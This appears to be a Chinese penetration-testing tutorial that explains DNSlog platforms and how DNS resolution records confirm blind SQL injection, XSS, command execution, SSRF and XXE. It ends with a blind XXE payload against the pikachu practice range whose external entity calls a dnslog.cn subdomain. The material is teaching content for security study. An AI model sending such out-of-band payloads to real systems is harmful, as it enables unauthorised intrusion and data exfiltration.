1.DNSlog工具

如果有自己的服务器和域名，可以自建一个这样的DNSlog平台用于进行渗透数据外带，或者直接使用BugScan团队开源的工具搭建即可：

Github:Dnslog

或者直接使用在线工具：

dnslog外带

ceye

使用方法：

获取一个子域名信息，用于数据外带：

打开新网页并粘贴在url上，访问这个三级域名

刷新记录，会看到我们的访问解析记录：

ceye使用方法类似

---

2.DNSlog回显原理

DNSlog就是存储在DNS服务器上的域名信息，它记录着用户对域名www.baidu.com等的访问信息，类似日志文件

通俗的说就是我有个已注册的域名a.com，我在域名代理商那里将域名设置对应的ip 1.1.1.1 上，这样当我向dns服务器发起a.com的解析请求时，DNSlog中会记录下他给a.com解析，解析值为1.1.1.1，而我们这个解析的记录的值就是我们要利用的地方。

因为dnslog的特殊机制，所以可以用于无回显的渗透攻击：

• SQL注入中的盲注
• XSS盲打
• 无回显的命令执行
• 无回显的SSRF
• 无回显的XXE（Blind XXE）

---

3.无回显的XXE

以pikachu XXE 靶场为例：

漏洞验证：

发送payload：

<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE userInfo [ <!ELEMENT userInfo (name)> <!ELEMENT name (#PCDATA)> <!ENTITY name SYSTEM "http://pgc3he.dnslog.cn"> ]> <userInfo> <name>&name;</name> </userInfo>

刷新记录，出现回显：

说明漏洞真的存在！